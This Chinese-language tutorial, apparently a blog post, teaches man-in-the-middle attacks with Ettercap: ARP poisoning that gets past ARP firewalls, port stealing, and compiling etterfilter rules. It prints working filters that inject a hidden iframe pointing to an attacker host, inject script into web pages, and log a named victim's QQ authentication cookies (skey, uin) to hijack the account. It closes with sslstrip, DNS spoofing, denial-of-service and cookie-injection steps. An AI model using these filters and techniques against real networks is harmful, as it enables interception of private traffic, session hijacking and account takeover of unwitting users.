Ettercap是kali linux集成的一款用于局域网嗅探攻击的工具,有人性化的图形化界面,又有丰富的命令,过滤脚步编写简单,非常适合局域网攻击以及wife下的中间人攻击。具有局域网中主机的arp欺骗,交换机的arp欺骗,可进行嗅探获取信息,也可以进行过滤篡改信息。下面是从网上收集的一些资料,供参考。

Ettercap有两种运行方式,UNIFIED和BRIDGED。

其中,UNIFIED的方式是以中间人方式嗅探;BRIDGED方式是在双网卡情况下,嗅探两块网卡之间的数据包。

UNIFIED方式的大致原理为同时欺骗A和B,把原本要发给对方的数据包发送到第三者C上,然后由C再转发给目标。这样C就充当了一个中间人的角色。因为数据包会通过C那里,所以C可以对数据包进行分析处理,导致了原本只属于A和B的信息泄露给了C。UNIFIED方式将完成以上欺骗并对数据包分析。Ettercap劫持的是A和B之间的通信,在Ettercap眼中,A和B的关系是对等的。

BRIDGED方式有点像笔记本电脑上有两个网卡,一个有线网卡,一个无线网卡。我们可以将有线网卡的internet连接共享给无线网卡,这样笔记本就变成了一个无线ap。无线网卡产生的所有数据流量都将传送给有线网卡。BRIDGED方式ettercap嗅探的就是这两块网卡之间的数据包。

一般而言,我们会使用UNIFIED方式。其运行参数为-M(M是MITM的首字母,为中间人攻击的缩写)。

当我们指定了-M参数时,即中间人攻击时,我们可以有以下几种攻击方式。

1. arp毒化的中间人攻击

arp毒化的原理简单的说就是伪造MAC地址与IP的对应关系,导致数据包由中间人转手出去。详细介绍请看:
http://www.2cto.com/Article/201207/144532.html

arp毒化有双向(remote)和单向(oneway)两种方式。
双向方式将对两个目标的ARP缓存都进行毒化,对两者之间的通信进行监听。单向方式只会监听从第一个目标到第二个目标的单向通信内容。一般来说,我们会选择使用双向欺骗的方式来获取所有的数据包进行嗅探分析。
例如:-M arp:remote /10.0.0.2/ // 表示对10.0.0.2的所有端口的通信进行嗅探,包括发出的数据包和收到的数据包。

若目标主机开启了ARP防火墙怎么办?直接欺骗会引发报警且无效果。这时就是单向ARP毒化大显神威的时候了。只要路由器没有对IP和MAC进行绑定,我们就可以只欺骗路由器,使从路由器发给目标主机的数据包经过中间人,完成我们的攻击。

4. Port Stealing

此攻击方式适用的环境是在交换机下,且路由器中ip和mac绑定无法进行arp欺骗。其基本思想是,既然无法欺骗路由器的IP和MAC对应关系,那么就欺骗交换机的吧。这样,原本应该通过交换机某一个端口到达目标主机的数据包被传入了攻击者的端口。(此部分笔者理解的不算好,恳请大牛补充纠正!)
由于本方法只能用于交换机环境,且会产生大量的数据包,严重影响网络状况,用之前须三思。

ettercap filter的写法

一个好工具配一个好的过滤规则才是perfect!

Ettercap的过滤规则只有经过编译之后才能由-F参数载入到ettercap中使用。
编译过滤规则的命令是:
etterfilter filter.ecf -o filter.ef。
即把filter.ecf文件编译成ettercap能识别的filter.ef文件。
过滤规则的语法与C类似,但只有if语句,不支持循环语句。需要注意的地方是,if与”(”之间必须要有一个空格,且大括号{}不能省略。

Ettercap提供的一些常用的函数有:
search(where, what) 从字符串where中查找what,若找到则返回true
regex(where, regex) 从字符串where中匹配正则表达式regex,若找到则返回true
replace(what, with) 把字符串what替换成字符串with
log(what, where) 把字符串what记录到where文件中
msg(message) 在屏幕上显示出字符串message
exit() 退出

快速学习etterfilter规则写法,个人的习惯是去读已有的一些规则的例子,然后按照例子仿写自己的filter。
在炊少大黑阔博客上看到的经典的例子有:
1.       if (ip.proto == TCP && ip.dst != '192.1.1.200' && tcp.dst == 80 || tcp.dst == 8080) { 
2.       #...and if it contains an Accept-Encoding header... 
3.       if (search(DATA.data, "Accept-Encoding")) { 
4.       #...remove any Encoding (make sure we are using plain text) 
5.       replace("Accept-Encoding", "Accept-Nothing!");   
6.       }   
7.       }   
8.       #--Inject Iframe--   
9.       if (ip.proto == TCP && ip.dst != '192.1.1.200' && tcp.src == 80 || tcp.src == 8080) {   
10.     if (search(DATA.data, "<body>")){   
11.     #Replace it with the body tag and an iframe to our attacking webpage   
12.     replace("<body>","<body><iframe src='http://192.1.1.200' width=0 height=0 />");   
13.     msg("iframe injected after <body>\n");   
14.     }   
15.     if (search(DATA.data, "<BODY>")){   
16.     replace("<BODY>","<BODY><IFRAME SRC='http://192.1.1.200' width=0 height=0 />");   
17.     msg("iframe injected after <BODY>\n");   
18.     }   
19.     }

上述代码中,第一部分的作用是将HTTP请求头中的Accept-Encoding部分替换掉,使WebServer返回的数据是原始数据,而不是经过压缩(如gzip)后的数据,方便我们嗅探分析。第二部分的作用是查找返回数据中的<body>和<BODY>标签,并在它后面添加一个iframe标签。
通过这个例子,我们可以看出,过滤器的主要作用是查找数据中的字段并替换。因此,在网上我们经常会看到一些用来挂马或者插入一段js脚本的例子,做任何xss能做的事情。
更多的规则请看http://fuzzexp.org/ettercap-filter-rules-send.html

在此奉上我自己的一个过滤规则,用来记录在特定网站的cookie。
1.       if (ip.proto == TCP && tcp.dst == 80 && ip.src == '10.0.0.2' ) {
2.               if (search(DATA.data,"Accept-Encoding")) {
3.               replace("Accept-Encoding","Accept-Mousecat");
4.               }
5.               if ( search(DATA.data,"Cookie:") ) {
6.                       if (search(DATA.data,"qq")) {
7.                       #“qq” can be replaced with other website keywords
8.                       log(DATA.data, "/tmp/qqlog.txt");
9.                       }
10.             }
11.     }

这个过滤规则能得到腾讯用来身份认证的两个cookie:skey和uin。然后就可以伪造登陆状态为所欲为了。这样比xss得来的cookie更直接且不受http-only干扰。
还有一个纯属卖萌的:
1.       if (ip.proto == TCP && tcp.dst == 80 ) {
2.               if (search(DATA.data,"Accept-Encoding")) {
3.               replace("Accept-Encoding","Accept-Mousecat");
4.               }
5.               replace("<head>", "<head><script>alert(/h4cked by deleter/)</script>");
6.       }

每打开一个网页会弹出一个对话框来卖萌…

注意点:
Ettercap需要以root权限运行,但是在开启完链路层套接字后会降权为nobody,因此在生成log文件的时候要选择有写入权限的目录,如/tmp/


ettercap与其他结合的一些攻击:

利用sslstrip和ettercap突破ssl嗅探密码
http://www.2cto.com/Article/201009/75322.html

Ettercap中最重要的插件dns_spoof 执行DNS欺骗攻击

Dos_attack(对受害主机进行拒绝服务攻击)
Chk_poison(检测是否成功进行了攻击)
Repoison_arp(顾名思义,修复ARP)

结合 driftnet 进行攻击对象访问网站的图片收集。

进行cookie劫持,登录被入侵者的网络账户

可以使用ettercap-NG抓取被攻击者cookies从而实现cookies劫持,并登录被攻击者的网络账户

在施行攻击之前,先要使用Firefox浏览器+Scripish(或者GreaseMonkey)+Original Cookie Injector,构建一个可以在特定网页中嵌入cookies的工具,当然你会用Firebug等工具来弄也行。